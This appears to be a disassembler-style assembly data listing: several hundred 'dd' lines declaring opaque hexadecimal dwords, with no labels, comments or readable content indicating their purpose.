dd 5D069B00h, 4FF5E979h, 26CA4BCh, 6809231Eh, 54AA69C9h
dd 9280C4B9h, 765DAD9Ah, 0D62245C1h, 550256C6h, 9F212868h
dd 55FB8B5Eh, 0EF076584h, 0C95BDE40h, 4B899E48h, 0B18BECEEh
dd 523F2854h, 0EBE50529h, 12FA1BEh, 0C150E6AFh, 63FC3B4Bh
dd 6AF40841h, 599AC2D5h, 4F1E130h, 30BF3F16h, 68E0D3A4h
dd 85781F58h, 1BB8D860h, 6893548Ch, 230CB331h, 0FB7C374Ch
dd 245862A2h, 22BC5D95h, 3A8E05Dh, 20AFF680h, 8D46D1F4h
dd 31173623h, 0C974EAC6h, 0E040F68Ah, 40DE12A9h, 0F6AB0DA5h
dd 0BFE13EC1h, 92AA3E3h, 47996810h, 0C9803279h, 0E92FE44Ah
dd 0EAAB608Dh, 433B37BAh, 4C42193Fh, 9F9008Ch, 0D8E9F2E8h
dd 4CDBB5C5h, 1CE56885h, 0FF2564ABh, 5FC41B2Dh, 0E97B0BB9h
dd 9A4483DDh, 80517638h, 5722EB81h, 5DE92017h, 945BBA40h
dd 0A5A9FC29h, 0E909B3E3h, 335F98A1h, 502CD2B6h, 0FF99D71h
dd 53602E73h, 0F0739BFh, 0F4E92C94h, 0DE8EFB3Dh, 1A51532Dh
dd 0E00CF560h, 93E91607h, 0B369F9Eh, 6AA8C2E9h, 0BDFDFCD6h
dd 0D153B8BAh, 2892553Ch, 674F91A0h, 0B1FD54B2h, 60F52B27h
dd 833F910Bh, 82E90285h, 0F73310F8h, 0CA55528Bh, 8BF100B2h
dd 9C2D3859h, 0BF5C97EEh, 4AB9C02Ch, 5C1CE473h, 0E68C3A5Bh
dd 4B11DF3Ch, 0E3594E33h, 435DE987h, 564C7709h, 0AE92C5F8h
dd 0A4B04971h, 0F729AC40h, 6D879BF9h, 0E51C8468h, 0E599C046h
dd 1AE23345h, 0DD121A99h, 2A682830h, 42F39760h, 7569EB67h
dd 0B9833A73h, 0E4A42293h, 3FBAE1BFh, 0DD6C8980h, 9E31F5Bh
dd 91DDA74Fh, 0C8765D6Dh, 0ACD7E985h, 0DEED935Ch, 0D92DBAB4h
dd 0B1A2E87Eh, 75DE2AE9h, 6DE48F65h, 2C8060B0h, 1960A5E3h
dd 0E4C0060Ah, 85F0FEBh, 5E7E55E0h, 0A89A3051h, 6627281Ch
dd 200C5095h, 0BB04CDF8h, 62457615h, 0C05C2CEAh, 3C5F46E6h
dd 3447A9C0h, 92FB064h, 15A03907h, 0CE04C186h, 1A62C51Ch
dd 77D0F74Bh, 40D82020h, 3000702Dh, 96053CADh, 5F9159F8h
dd 30E7B921h, 9F424E46h, 0C4F65FFFh, 9942C0C4h, 41BD5364h
dd 0FD65AB55h, 89DF3B22h, 0BC563394h, 1D20C996h, 277C9DEAh
dd 1CDD7958h, 0BB5CA042h, 2A4292C4h, 987B7B3Dh, 2E64EDEh
dd 0CA885A96h, 0C9A0F3FDh, 535AD75Eh, 986168Ah, 9C5F446Dh
dd 5B51FC56h, 29B08C8Ch, 0D62CD07Bh, 6889AC54h, 0F640F848h
dd 90EB5FB4h, 0A49DF18Fh, 51C7861Eh, 6718D727h, 3F1842EBh
dd 620C2DD1h, 3BA81F71h, 0C3283F29h, 140CD008h, 95D8F65h
dd 7330A5ACh, 475F9E68h, 0FB2FECA3h, 3B302761h, 0F4F810C2h
dd 276D2B15h, 0EB6485DFh, 86DDA2AAh, 0BA4389A4h, 0C3E220BCh
dd 0CD0CE490h, 5058D11Fh, 1C3B26DDh, 0EF621296h, 955B33DCh
dd 51085447h, 0EF680671h, 722D1553h, 0BCBD516Dh, 0B4DEF093h
dd 905845C2h, 755B802Ah, 4316DF2h, 4E6859CEh, 5EE1A349h
dd 2B03A195h, 0B4093FB9h, 81F50EAh, 0CE5B9966h, 36249F4Bh
dd 404F5EBh, 5CB3FE99h, 607CC300h, 0D3014CA3h, 8029EA2h
dd 7CF9565Ah, 0F048997h, 0F8A4F329h, 0F4994B1Eh, 829F5C02h
dd 577FB1F9h, 8E61D0C2h, 0B5148EF4h, 58E50161h, 0B370EA88h
dd 0FA09BD26h, 0E9E257D1h, 5B5E700Ah, 1948AB5Eh, 83680418h
dd 0CF9FFC08h, 0D42FB3E4h, 9227C443h, 66051189h, 9F0CB903h
dd 382F50DEh, 483968BBh
dd 0F6D84A2Bh, 87B185A9h, 0D7BDA403h, 1C8AD9A3h, 219E8A2Eh
dd 0F6688BECh, 2DC27D9Bh, 8742115Fh, 61BD5A89h, 20588A76h
dd 0EF9BC007h, 362C69B0h, 754DEAF6h, 14E51ED3h, 0DC71F209h
dd 96D1627Ah, 33FE5405h, 6AE95339h, 4F452F92h, 5FB4898h
dd 5732190Ch, 0D2469120h, 66EB1079h, 23A2456h, 0A12408h
dd 179A15AFh, 0EC54E8E9h, 4109F18Ah, 7044E690h, 0F3505BD6h
dd 107F1032h, 85D85B70h, 17CA05B3h, 0C12DEE71h, 72B59F5h
dd 7EF828DAh, 89B26C6Ah, 0EAF52C77h, 0C0E5626Dh, 0BF20BBA9h
dd 3E3139E1h, 0D8A81716h, 0A9239D17h, 0E7C90780h, 3E9464Eh
dd 0A8C825C1h, 0BFCB6815h, 9AE97A98h, 0F111A262h, 8F74575Eh
dd 0E31062ACh, 52FA3118h, 790482EDh, 0D501643Fh, 0B48BBCAAh
dd 50EDCFAFh, 0DF827027h, 0CD807E4Ch, 402F2145h, 59037F60h
dd 85806F35h, 0C70B0117h, 20ED7AE9h, 1C3378AFh, 0C143097Dh
dd 0C30406EBh, 0F52902AFh, 5698685Eh, 3EFD7918h, 0E82F58C5h
dd 6E5957E4h, 0A32D2DF8h, 8E43681Ch, 0B7B225A3h, 112075F2h
dd 82F0986Ah, 0C5BF2F02h, 44EA701Bh, 13ADCE8Dh, 0BC842AB8h
dd 0B64FD6Eh, 0DF342274h, 0EC31700h, 4E613942h, 0F213ACA6h
dd 0BA04EBFh, 7BB9580Fh, 0D8E8EBF1h, 1D32A08Eh, 5E5B2779h
dd 0E7DE80F7h, 24B4076Ah, 2934F51h, 88F3F785h, 13224475h
dd 246D7CE9h, 4EB1AF80h, 0B410C8Ah, 0A0E909E0h, 0E3B825E0h
dd 378C2309h, 58C55C31h, 629549E9h, 56527E89h, 76657320h
dd 0F17D4D5Fh, 62E80502h, 0C58103E3h, 2C48F568h, 3F38C075h
dd 55E97825h, 5A20E5E0h, 90DDE060h, 0E7B15F1Ah, 28FF4ABAh
dd 17339C58h, 10FA2258h, 8ED77Eh, 940585B8h, 0DB2D32h
dd 0D2EDDA5h, 6110077Dh, 5DFE926h, 134ABA81h, 0F46F3129h
dd 99F2EEEh, 924A4CF8h, 87C4B72Dh, 5FC9ED9Eh, 25BE0D1h
dd 1B7F8BF9h, 2B404D08h, 0E9E6D103h, 0C6CA3325h, 0D231269Eh
dd 197F0B64h, 12E4B513h, 0AEB256AEh, 9720F561h, 43AE726Bh
dd 354ACACAh, 0ADD44D5Fh, 0F8093D7Bh, 0F60ACE4Dh, 449B4197h
dd 5D948378h, 0A2EB81AAh, 66E143D2h, 0EE399644h, 4AA921EAh
dd 0DC50749Ah, 0E4805B07h, 437C0B5h, 87F5EC62h, 0E307A1FBh
dd 0D659EBE7h, 0A08C4455h, 662D684Bh, 0CB9F5C4Ah, 4EF1965Dh
dd 0C215404Ah, 744E758Eh, 5BBCB7F6h, 38875F2Dh, 9009A4DCh
dd 3055BE94h, 1F5FD62Eh, 14DDB702h, 93F07DACh, 0AFBEE4F4h
dd 29D75462h, 0A8D36655h, 52D5745h, 0C0E9FE34h, 933DAD27h
dd 6BE8F3C4h, 0B94FE9B0h, 4E87DC9Dh, 72B0788Bh, 10C3BB09h
dd 90CB8143h, 0C1142B15h, 8945390Ch, 37023F59h, 603513C2h
dd 1656F21Eh, 0A019344Ah, 0E93D5714h, 73A6543Dh, 2D3CECB7h
dd 2FFDFD96h, 366904E3h, 0B23BD0A9h, 780940CFh, 1481B0Bh
dd 7570F160h, 0BF0EBF18h, 7A009C09h, 34DA7814h, 0A0E0094Eh
dd 0D8995B27h, 4B4AAF58h, 483EF32h, 0D6F5BF56h, 37B16A83h
dd 0CADAF753h, 595F21F0h, 0E9D3EBA3h, 5AC184A0h, 6987835Dh
dd 62D9477Ch, 0ED213EA9h, 0F026E3CDh, 81982F79h, 0C5C1C393h
dd 0BE432E0h, 824068B3h, 7EB1BD3Eh, 7E7C60C2h, 0D6BC209Eh
dd 642AF10Fh, 0F2C03805h, 5BBC4312h, 6F71956h, 4E72C03h
dd 7C79222Dh, 6C681481h, 81825A02h, 43FA2A24h, 89F5CFA0h
dd 78712516h, 7E3F5Eh, 12FE69DAh, 812391E9h, 3D563E5Ch
dd 343E98BBh, 0F7E4F941h, 943AF0DBh, 0B652052Fh, 11B1BA39h
dd 96A5C1DEh, 6881CC3Fh, 0C533E80Bh, 0F7FE0339h, 0E687A49Ch
dd 7048CF60h, 414C58B0h, 33732506h, 0BA120C13h, 0AE091DBCh
dd 413F62A8h, 163AC8C7h, 0C200FE47h, 36A32768h, 59E84C31h
dd 787C3425h, 96B62E6Fh, 2512588h, 3C2CAEB9h, 8A5D2142h
dd 0D0A712F7h, 984509FBh, 0A774296Bh, 81C7ACB2h, 7D7BE90Ch
dd 78B94E81h, 4020F127h, 0F11EACDh, 28F84262h, 1F8752B5h
dd 0BDDB2BF0h, 66AE9598h, 694B3868h, 3B50768Ch, 870B4149h
dd 16824EF1h, 0B1D68CE6h, 5B3D2782h, 2092DF69h, 0BDE89E00h
dd 50BFA333h, 8CFA273Fh, 284E4AC6h, 0BB5640EFh, 2130CD14h
dd 0E4FCF55Ah, 96969EB1h, 0EF8D0199h, 713FCD42h, 0E4DE2714h
dd 0D918C582h, 0B0978063h, 7D354F7Fh, 0A9CA0B42h, 0F48F435Ch
dd 590A207Eh, 77014168h, 0C01F25BFh, 1FACBBF5h, 472D7F5Dh
dd 5685BD8h, 0B78C605Ch, 3828515Dh, 8A25AB41h, 890298E3h
dd 0A5FA9143h, 0E6015253h, 329B6544h, 413D1E7Bh, 0F6430ACEh
dd 0D87F6069h, 1BD8040h, 2A95422Eh, 97FFC581h, 1BAB4D03h
dd 74A00C9Ch, 5098C46Eh, 72DF828h, 0A7088DB1h, 1B8624AEh
dd 0B985C401h, 31AFD2F7h, 6BA968D0h, 0CD5AC0ECh, 110B6F93h
dd 0D705290Dh, 6CD5E5B2h, 53F6B56Fh, 46858B7Ah, 4540690Bh
dd 0BD89547Ch, 871E5508h, 9086D9Dh, 947DA407h, 36F5956Eh
dd 4C5F324Ah, 251C7BFh, 93ACBE65h, 8745C24Ah, 6924DE5Dh
dd 1EB13938h, 0CB88531Ch, 74E9DA85h, 0FEC2F4BBh, 7B1A2F5Ch
dd 654AD25Dh, 9DE1019Ah, 40FAFCD2h, 75E90318h, 19090590h
dd 161D41Eh, 268C7C8Fh, 924DF1EBh, 6DC35982h, 0CF60FB42h
dd 568070F4h, 23680252h, 5A530848h, 69896079h, 0A0634444h
dd 0A566BF05h, 1F2C9Ah, 0A7FBD880h, 5CBFD121h, 6A07599Bh
dd 0FFBBB1A4h, 68BCA207h, 5BDD11C8h, 64F3FEBDh, 2ACCE108h
dd 922473Dh, 4E8A6B10h, 63FCF800h, 69526E4Dh, 0E477CA51h
dd 4A99F041h, 0AD9C49CDh, 0F632EC81h, 2ACEF5D6h, 80E43BE8h
dd 16137955h, 0DDE95D13h, 94B9E980h, 0C6546203h, 526CA8D1h
dd 0F5D75169h, 1F9B7D20h, 5B5F3CA1h, 4C301429h, 0FEDC9D93h
dd 18C05FDAh, 0E82F6730h, 0EDB25770h, 6A2FC264h, 72BF5CD1h
dd 9BAD0FFh, 0C0B35352h, 0D503EA5Dh, 33DC4D40h, 4C1A752Dh
dd 63BB04AAh, 0EE45556Eh, 72934ED0h, 0C0B15E6Dh, 3E685E79h
dd 0BC87D197h, 0B7753412h, 0F8BB025Bh, 0E06E3956h, 2E6596C1h
dd 2DE37664h, 5BF553C2h, 6B28427Eh, 0A2FD154Ah, 7F525C3Fh
dd 21168AE7h, 6791E791h, 6AFDC112h, 669310BAh, 9C4B9DA0h
dd 7DE848A8h, 5EBD895Ah, 6060332h, 6539BEC0h, 2340D42Eh
dd 0B31A3202h, 590DC073h, 3D452C2Eh, 45F81E0Ch, 0FF5661ABh
dd 0D00D5FB5h, 0EC3ED5E9h, 55C8B527h, 3FC181F7h, 2E17B09h
dd 0FD84E237h, 98CB4C8Fh, 2EF146DDh, 0C0AA97E5h, 75767CDEh
dd 0C8020598h, 29404872h, 888C7F1h, 5B1D79EBh, 0A9B7568Bh
dd 2E654F1h, 9E48E692h, 1337E3D7h, 0C8AF88D0h, 1F2568FDh
dd 1E4B460Bh, 0A6EB5FD9h, 2AEF0048h, 0BF2DCD4Fh, 7A13F1FCh
dd 3216D001h, 2D518FF4h, 0AE548FB5h, 0EDCCFE8Fh, 90A863CFh
dd 14749F0Dh, 6AF8D643h, 2A96E11h, 43D72022h, 3E01C458h
dd 0E96AE830h, 0FD3EE37Ah, 0F75389B6h, 0E9121495h, 30BB0C13h
dd 21842FBEh, 87823E5Bh, 0F1DACA35h, 0D7C94FB1h, 5E5F6BE2h
dd 0D27FC45Ah, 0C5F55FCDh, 0F1843EE8h, 90E6AFE9h, 8478EF4Eh
dd 4296352Fh, 0FA004282h, 40E91798h, 81F63512h, 59D97413h
dd 0D42C07FDh, 78A80Fh, 0A2055D5Ah, 7B2D5E75h, 880D001h
dd 822EC55Fh, 0E2D68E47h, 0E0035427h, 5615732Dh, 0C4EB174Bh
dd 0C8084447h, 0D90AF859h, 8E683246h, 7CDAD5CBh, 62C051BDh
dd 43CAA4E9h, 69FFC575h, 0EB62F95Fh, 0EC5F4AECh, 0FA8934EEh
dd 50998375h, 7B499928h, 3297D93Bh, 0CF95419Eh, 2374836Ch
dd 9AEF01FEh, 0DCE9A14Ch
dd 14D97FFAh, 98E0759Eh, 0CC70FD3h, 0F2644433h, 5B5D0072h
dd 267ADE2Dh, 14954A86h, 0EC4A0705h, 8BF7D6A9h, 0D8220B93h
dd 678F98BAh, 386E0B22h, 18EECE80h, 0E1F86F9Ah, 9C1BBC0Bh
dd 1F300311h, 0F525C27Dh, 31DE17A0h, 5AFA7AFEh, 159D655Bh
dd 1417B855h, 90F01252h, 7C4734E9h, 0B2D9A810h, 0F7A5906Fh
dd 0D15AA05Eh, 66F1B7C5h, 0F1A09393h, 59D39559h, 83B75300h
dd 48B1CF80h, 4E7B0EF6h, 0A0E12475h, 2D4F64BFh, 2905B541h
dd 2760431Dh, 9651163Ah, 1F58B96Bh, 0A5FCFF5h, 29950C30h
dd 0E6535072h, 4D8C102h, 0FD399936h, 9480E8F6h, 877242B8h
dd 0C1A0C69Fh, 256875A0h, 0E6C46B2Ah, 41F40712h, 0B74E7016h
dd 0E059DF54h, 0AC05A268h, 8C6C5468h, 0D524B18Ah, 0C50838F6h
dd 38502DA0h, 87698324h, 5FDD6870h, 192AE33Dh, 0B4676498h
dd 0B018DDFEh, 0EF96A473h, 77349480h, 2E092D5Dh, 16E48D59h
dd 0C742B417h, 0C1027246h, 495FEE27h, 9D764DDh, 4616629Ch
dd 0D1957AD0h, 0BBBA16DAh, 0B001E756h, 2BD717A0h, 4A4946Ah
dd 0BFFCE908h, 0BAACD416h, 0C410A8B4h, 34AFFE88h, 28EA0A09h
dd 682742A5h, 0CF2004CCh, 28315896h, 0A4F7B416h, 51581B9Ah
dd 5B6B00E3h, 0E9557901h, 59FBE11h, 0C358E588h, 0F7B353EDh
dd 0FDD0EEC3h, 0C516805Bh, 49EF3071h, 3C7F5378h, 912C3877h
dd 0A5BF7C62h, 58C67A48h, 32268BB7h, 5E2942E8h, 96D52F17h
dd 634620C3h, 97C68102h, 0D77AEC25h, 90809A8h, 7DDA99E9h
dd 25DED09Dh, 0B83932CAh, 0A9DEF996h, 0E909DAFCh, 0A2D54620h
dd 22D18493h, 11AE53C1h, 457F25C1h, 0E37A4EAAh, 7314D15h
dd 94B0E2B6h, 0F003D697h, 0C35AA22Ch, 4EB2F0DDh, 80DA0EF6h
dd 0F26070EAh, 0E9D18826h, 48875025h, 588B829Fh, 6DC48714h
dd 0F25A0A5Fh, 7606CB04h, 0B703E384h, 95FB4E7Bh, 0AA61B0BBh
dd 59F32D5Ah, 6ECCC903h, 12620DDEh, 0FD96A1B6h, 69F521BAh
dd 8D5595F9h, 2EEE381h, 0C46981E5h, 0FB5C71Fh, 0A8692204h
dd 532320DDh, 3BB443h, 1CCD6857h, 0E95F03C0h, 208AD92Dh
dd 0A722F7ABh, 4B40B782h, 53C40D5Dh, 0C6C2A9EFh, 594767Fh
dd 0FA6A6C68h, 67DB3160h, 81530E85h, 78C5CEF2h, 91F18025h
dd 900C2726h, 0BC5AD189h, 59A16385h, 0CC941EAh, 7392EF7Fh
dd 0CCB1296Bh, 0EC680059h, 0FAF3A632h, 0B3F15BE1h, 99E15F77h
dd 824B01F0h, 52A16E94h, 1FC03D73h, 1D981E3Dh, 274C9BB0h
dd 8FF42866h, 6E7C102h, 7C9F804Fh, 9592126Ch, 8A49827Dh
dd 0BF9D66E3h, 90F6BB78h, 5D506CBAh, 525E5997h, 0CDE9F860h
dd 0D674A08Ah, 0F61AFC52h, 97B0B2D0h, 578146DBh, 5069480Dh
dd 290EC86Fh, 580824C5h, 27D41301h, 0E9E43C06h, 40904E31h
dd 4821D073h, 29355E26h, 7D8183DFh, 0E90146AAh, 577964A5h
dd 0BA057090h, 2AAD4D36h, 44A7CC14h, 3B072D99h, 577F939h
dd 34CE4811h, 4A6863FDh, 0FFF10916h, 0ED80A090h, 88501E8Ah
dd 92A9CEECh, 0EBD9EE13h, 1834A120h, 0A8740A14h, 2A0D5A86h
dd 1CFB0178h, 821C0806h, 77386214h, 4B6F6ED1h, 0D39B19AEh
dd 11103532h, 0CBBF0361h, 0D10E8831h, 0CC6E1936h, 8509F7BAh
dd 1605B1Dh, 0B709F168h, 5CB01D20h, 60B6A069h, 5D166CB7h
dd 1317875Ch, 359CEEBAh, 0EFED44D4h, 0E84ACB0Ch, 73F27429h
dd 0E967170Ch, 507DF082h, 0E8625695h, 425B5135h, 90F0A7F2h
dd 8F945F97h, 2C6CE380h, 0CA78D93Ch, 40B58EBCh, 0DEFBF168h
dd 7B2DE9A6h, 0E4B476D4h, 73E7BF5Ch, 0E466B517h, 1E41837Bh
dd 0C257C06Bh, 6527306Fh, 34C4C57Bh, 0C32ABA3Eh, 0A44E4358h
dd 23123296h, 4AF3B1Bh, 0AFB52E58h, 0E63EFC6Dh, 0A5614FDEh
dd 0D1C63868h, 4C0D8B99h, 0FC60D6D6h, 9D40365Bh, 0EA60C2FEh
dd 5861E9Eh, 5E94257h, 847CFFA0h, 30EE2568h, 7D5A8054h
dd 4AFF3C0Bh, 0D3858186h, 0D101F311h, 8C0920EFh, 7115FD12h
dd 0E6BD47B0h, 239D3F26h, 0C82E507h, 1145870Ah, 65A8DEE9h
dd 0CCE82A11h, 16524E12h, 31FC01FFh, 6BE447B5h, 5629D8A0h
dd 0BF0190D3h, 33943DC1h, 2F552757h, 7EAA094Ah, 85101318h
dd 0FF2AFD8h, 175F65C4h, 0B7E164A0h, 0C9123B76h, 0FC6D509h
dd 0D0A08330h, 0C0EB9C20h, 0E9DA01FCh, 0F2030B25h, 9AF2B7A8h
dd 0F52B2CBAh, 963D3AA7h, 0C8FFC064h, 8782710Eh, 31E4C824h
dd 5CF320C0h, 60CB0534h, 0FC6348E9h, 0C30FF4F8h, 0BF0CB8BEh
dd 61C713Bh, 7EFC161h, 516084Fh, 7206E781h, 0F0C5593h
dd 44D43933h, 0BD8C1B5Ch, 0E41F4CB0h, 208A2948h, 0CFD99C6Ch
dd 0AA5ED386h, 39B75317h, 0C3162B18h, 5B20C255h, 0FF41C121h
dd 0C2558108h, 0B6F3FF30h, 3CDFB12Eh, 0D74482Eh, 0CC381F86h
dd 2D5137D8h, 347E1C74h, 759808A0h, 0FF478E41h, 19BB5F80h
dd 81E201D1h, 0C64336CAh, 4E0C820Eh, 0C02CB541h, 4B6D50C8h
dd 0C5ABC52h, 4A2739C7h, 95E49AA4h, 5D5A3A7Eh, 1B4AD818h
dd 136F0C8Ch, 0D06822ABh, 285C1202h, 7703EAC1h, 16F65C00h
dd 46C019B5h, 43BA5731h, 0D50927E9h, 958EE9Ah, 6020507Dh
dd 250A9C6Eh, 163875Fh, 7AB4046Bh, 55D42109h, 0DD2B2F85h
dd 3F043FE8h, 0AF1A4F34h, 4ACDF8E9h, 0B5A46092h, 0D320DA4Bh
dd 656B151h, 0FE39F180h, 0AB090AC1h, 0F5A114E9h, 69151598h
dd 0F0BBC7A1h, 0DA5F4C68h, 0DFCD74A1h, 0E12B996Fh, 0BCAB0486h
dd 5DC88420h, 96C60CB8h, 309FE325h, 91189347h, 2486A063h
dd 827D8D62h, 2365E3CAh, 6992AAE8h, 638EE3Eh, 4521D9E2h
dd 84675E7Ch, 0D6F7FF25h, 0B98CAA4Bh, 13590FB8h, 0C60B1FA7h
dd 607B2D03h, 0CB293A24h, 4ED8D025h, 0BE4CC5EFh, 0E5B59913h
dd 1D41FCD6h, 0DF2D8940h, 55667723h, 451FAF94h, 18F0030Dh
dd 9D0C1930h, 0AADC8389h, 61827ECBh, 0C23F5C68h, 0A0BEC7FFh
dd 536F6984h, 0F6820CD8h, 0F183CBFFh, 0BD9DE895h, 0E107D2C7h
dd 48E26E87h, 216445D2h, 1BB6FB88h, 0F988E984h, 1C1123Ah
dd 8BA3FD01h, 9A21CB97h, 3592B53Ah, 9EB13A18h, 0FDAADE02h
dd 0F3682BB8h, 0DEBD3070h, 0B85B53E7h, 25751FE8h, 2ED6858Eh
dd 17B20F40h, 7279BFFEh, 9A37CBC9h, 0B2A05F01h, 6F03BB5Ah
dd 8A3E0B24h, 0AE870F1Dh, 86692933h, 775686Bh, 0D71B7CF5h
dd 0AF7FB463h, 552D0DACh, 90566254h, 0A5D05BE3h, 2EE682C5h
dd 4470E710h, 17ED205Fh, 14D80507h, 0B8503B39h, 4E273EF3h
dd 21FD09h, 7EFF7F5Bh, 97A26AE9h, 0CF96674Ch, 0F960E200h
dd 3FE1D147h, 76E080E9h, 0F607EEC0h, 0C6FED603h, 0F0AEB353h
dd 4FE91DF3h, 59670B32h, 0C7D1A14Bh, 9AA53874h, 876A82E2h
dd 0E964D4DBh, 674B897Ah, 5A2A3A58h, 0F9DDA854h, 3C60BF5Fh
dd 0A370F181h, 12CD56F0h, 1683A407h, 807B2889h, 9E62C8A2h
dd 4EF1835Fh, 29CA3757h, 236CC511h, 0AF8F580Ch, 0E9F98CD2h
dd 6191F67Eh, 1EEDBB81h, 0C03F5C60h, 34196D84h, 982D5A02h
dd 56998093h, 245427E3h, 0B77D410Dh, 58646830h, 8807B6Dh
dd 0D7F7498Ah, 4A525130h, 26A97C46h, 0BAD8923h, 0CC55ECD2h
dd 0A604A56Ah, 4F0110B5h, 5E85BDBCh, 0BDB530A6h, 0C4276E44h
dd 283C7C15h, 57D14E0Ch, 8121AA2Ah, 16809172h, 0C9FE7BB1h
dd 6812D9F6h, 0D63124BCh, 813BDEB4h, 0CCF1CCAAh, 0F4EC13ECh
dd 0E906B166h, 9D31F61Dh, 23B8B2C3h, 909DE120h, 95F29409h
dd 6815997Fh, 373311E5h, 2E32F15Fh, 0F34CF81Dh, 0EC3AD5Ah
dd 49B668F4h, 0E00CC0DEh
dd 74E947D9h, 0F2EF8AEBh, 4C9975Eh, 680513FEh, 42B3AE65h
dd 0C92FC800h, 60E6811Ch, 0B7E5E1Dh, 56C2EE81h, 437E314Ah
dd 2A6592D3h, 0C0B1CFEh, 5D57282Dh, 0C4954F1Ch, 88AA22DEh
dd 59B52AEDh, 9878F2EDh, 0A1D1E064h, 78AF2ADBh, 76412769h
dd 1EA2B020h, 0C806DF70h, 0DE256018h, 0AD3113E4h, 809740F5h
dd 796241D5h, 553DFC32h, 64457FD3h, 0A2567B89h, 0AAE6B4EAh
dd 6303CDBh, 16E22841h, 4B55158h, 0B29D0DD5h, 0F2808BAEh
dd 0F074B0B7h, 0F3024B1Ah, 0B5BB0225h, 0CB449725h, 0E9919FD4h
dd 66620659h, 6C70E305h, 0F5B4C067h, 940B692Fh, 0C0B3E918h
dd 4BEB68D1h, 0CEA1A24Ch, 5974A9E9h, 17D92576h, 1604F525h
dd 0E9D8B429h, 27079249h, 9F3BCC5Eh, 0E01DA259h, 0F6681DCBh
dd 69527110h, 72BA1325h, 0BA530B4h, 467E496Dh, 1A849F5h
dd 923DA96Bh, 0C4860ABBh, 0A8C580A0h, 0C112E435h, 0F605E526h
dd 0A2E86180h, 636CE955h, 39F62BEEh, 0B201B7AFh, 9A71263Dh
dd 5280EF81h, 0D8007922h, 33605E5Bh, 0DA6511DCh, 90017C50h
dd 0C3076042h, 0DDF65BFDh, 7AB4665Eh, 0F0C5E8EAh, 26D2F858h
dd 1346D586h, 7816FA51h, 0BAE2CCBCh, 0D5BF9E98h, 0DA3326CBh
dd 8B3C2A77h, 0BED695B3h, 0C6CE851h, 79D1B050h, 6B1224EEh
dd 581B41D2h, 932AE80Dh, 416FD69Fh, 88783654h, 3E6AAF5Eh
dd 1A0CD5AEh, 0FE895F29h, 3784D680h, 0CAF2204Dh, 8836FB0h
dd 31C80C05h, 58ED6DF1h, 0CA2FE742h, 0C1082D04h, 6E22BCh
dd 70EA8058h, 0DC7EBD8Dh, 7898588h, 656CFABDh, 78870003h
dd 4254F12Ah, 0A91CE916h, 68949CABh, 1802762Dh, 9F7E1A95h
dd 10090BFBh, 2EE5D2ECh, 0C1536F5Eh, 41D50FA2h, 84EBDACBh
dd 43779883h, 0E0F55182h, 9F3275B2h, 8C4B6178h, 295D6F01h
dd 5F4192C2h, 8972F522h, 0BDACF001h, 0F4CE297Dh, 0B0955B50h
dd 977178ECh, 9E0985CAh, 5B9AF474h, 4CB50054h, 1322B265h
dd 97932BE9h, 0EF576127h, 28686033h, 34D82D00h, 3E10C405h
dd 17E91870h, 8ACB2D01h, 217B2C7Ah, 0F5DD7D24h, 67EC3492h
dd 87F4F9D3h, 92DFA31h, 6F8823Fh, 14819B60h, 0B82DF426h
dd 0CBB10D0Eh, 659261C8h, 0EA5B4F2Ch, 4C66EA6Ch, 0A224805Bh
dd 23C82F50h, 4200B2E5h, 51534A21h, 18701F68h, 6859185Dh
dd 432703BAh, 0DCAB0BF6h, 56680538h, 36CF337h, 4E632693h
dd 4B260629h, 226746E9h, 2B275D95h, 0EA8D5081h, 93CB89Ah
dd 31E98BF8h, 5FE57DB2h, 80CE2DBFh, 1055F5Ch, 3CF40FAEh
dd 0B2A5C689h, 5CA6B4BCh, 5C71742Ch, 42F4EF02h, 9C9F43B3h
dd 0FE4FAFFCh, 0C5845833h, 0E266EAE7h, 0D2950D3Ah, 909BF77h
dd 5A98515Dh, 50DDF25Fh, 26E9B58Fh, 0AA8E570Eh, 3E740929h
dd 6B055EE1h, 530FA0CAh, 19882EB3h, 330D002Eh, 352CDD73h
dd 80170318h, 8269F2B8h, 0D9BD41FFh, 1B2A02Fh, 99B6F55Ah
dd 9942B04Ah, 8F405281h, 7C705FCEh, 0A833776Dh, 24B7E6F8h
dd 82644A45h, 0D522ADFh, 2CDC5657h, 80E80BE6h, 0EAD7E2CAh
dd 7E7240FDh, 0BC3D5A63h, 1B00294h, 69295CBDh, 7980E178h
dd 0F82B31BAh, 0E258C133h, 0BB6C11A7h, 6001C311h, 0B671EC0Ch
dd 0A0709773h, 709BAEC7h, 0EFE14435h, 1638E27Fh, 0AB4DEE9h
dd 7164391h, 5253BDB2h, 0EDB39740h, 31EB0E80h, 0C3AED328h
dd 0FF085AACh, 522EF679h, 1409DEB6h, 0EE5CDAFAh, 7010058Fh
dd 0ABC82120h, 0BB4E2ACBh, 0BB5B409Eh, 27E9FB38h, 0F46898DCh
dd 9A3CD6BAh, 0CE893AF2h, 0BB134934h, 0E9133DFCh, 8421874Ch
dd 0DDCBAA29h, 1A0FBC5Bh, 572655DEh, 68041A4Fh, 37A37435h
dd 0A74E014Fh, 2957BF6Ch, 0CE98AB7h, 7758510Bh, 798E5E6h
dd 0E3CC9D4Fh, 7E384114h, 68281CF4h, 6FA21077h, 949BA844h
dd 849BFCDFh, 0BF171BEAh, 402895D6h, 0F30ABB98h, 977C2D61h
dd 2B18990Fh, 170C5637h, 0E3EA00F7h, 71F64CDCh, 0ECA7D595h
dd 7476780h, 5BC157E1h, 705BE28Fh, 0E913E3FEh, 37A20F9Eh
dd 7079E501h, 214D7CEFh, 0CB32D0F1h, 0EA293F05h, 0AC05E5Dh
dd 2E2E9FB9h, 27C1DADh, 7B2F4990h, 0CEF40ED5h, 180F8181h
dd 0C9D83776h, 0BB5A165Bh, 4A4EAF1Eh, 604401A0h, 9C6BC5E9h
dd 935E1483h, 803734ABh, 1341065Ch, 0D7012704h, 0A9BFB8E9h
dd 54A20413h, 0FC831887h, 2949A159h, 71EAF02Eh, 4FB01A5Eh
dd 82E29404h, 0E177C988h, 20E9FFC0h, 8FBAE44Bh, 0CF680931h
dd 204FE669h, 3B98D1BDh, 1ECA8107h, 8337EA0Eh, 0C00134h
dd 4E8CC11Fh, 0AF1BE1D2h, 39F1AFBAh, 7A2C02BAh, 17B8F05Bh
dd 2F837A1Dh, 6F172EFh, 526DEF35h, 68BD6E49h, 0BF38770Ah
dd 12279DF3h, 0BD60F7F0h, 556C1AA8h, 5AE666E8h, 0CF42F85Dh
dd 86ED455Eh, 0CBCE5DAEh, 0EC518235h, 774AC889h, 7F693896h
dd 25F38029h, 0ED0210F2h, 252161D0h, 0A5C5932h, 5AB9B2Dh
